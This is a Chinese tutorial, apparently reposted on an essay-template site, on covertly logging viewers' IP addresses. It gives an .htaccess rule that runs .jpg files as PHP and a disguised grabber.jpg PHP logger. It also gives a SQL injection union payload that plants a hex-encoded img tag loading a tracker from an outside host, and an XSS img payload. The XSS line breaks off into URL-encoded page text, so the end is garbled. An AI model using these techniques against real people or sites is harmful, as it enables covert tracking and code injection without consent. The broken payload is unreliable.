| 标题 | 基于PHP实现通过照片获取ip地址 |
| 范文 | 在本教程中，我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件，将jpg文件当作php文件来解析。 下面就是我们需要向.htaccess中添加的代码： AddHandler application/x-httpd-php5 .jpg 然后将下面的代码复制到记事本中，命名为grabber.jpg <?php $fh = fopen(‘ip_list.txt', ‘a'); fwrite($fh, $_SERVER[‘REMOTE_ADDR'].” “); fclose($fh); $im = imagecreatefromjpeg(“n00b.png”); header(‘Content-Type: image/jpeg'); imagejpeg($im); imagedestroy($im); ?> 将grabber.jpg的权限设置为755，然后再找一张照片，将其命名为n00b.png，接着放到与grabber.jpg相同的目录之中。 就这样，一切工作就绪了。当别人浏览grabber.jpg这张照片的时候，他的ip地址就会被记录下来。 （译者注：需要把这些东西上传至我们的个人网站空间中） POC： (译者注：作者这里贴了一张可获取ip的演示照片，为了大家的隐私，我没有将其贴出，读者可自行去作者博客查看) 至此，我们的照片已经可以开始工作了。 接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷，我们没有理由去使用SQLi这种方法，但是为了让读者获取到更多的知识，我还是说明一下吧： http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3# 现在，再说一下如何使用xss来获取ip地址： http://leettime.net/xsslab1/chalg1.php?name=<img src=”/uploads/202504/02/7%e7%89%87%e8%8e%b7%e5%8f%96ip%e5%9c%b0%e5%9d%80%e7%9a%84%e7%9b%b8%e5%85%b3%e5%86%85%e5%ae%b9%ef%bc%8c%e5%b8%8c%e6%9c%9b%e5%af%b9%e5%a4%a7%e5%ae%b6%e6%9c%89%e6%89%80%e5%b8%ae%e5%8a%a9%ef%bc%81%3cBR%3e |
| 随便看 |
|
在线学习网范文大全提供好词好句、学习总结、工作总结、演讲稿等写作素材及范文模板，是学习及工作的有利工具。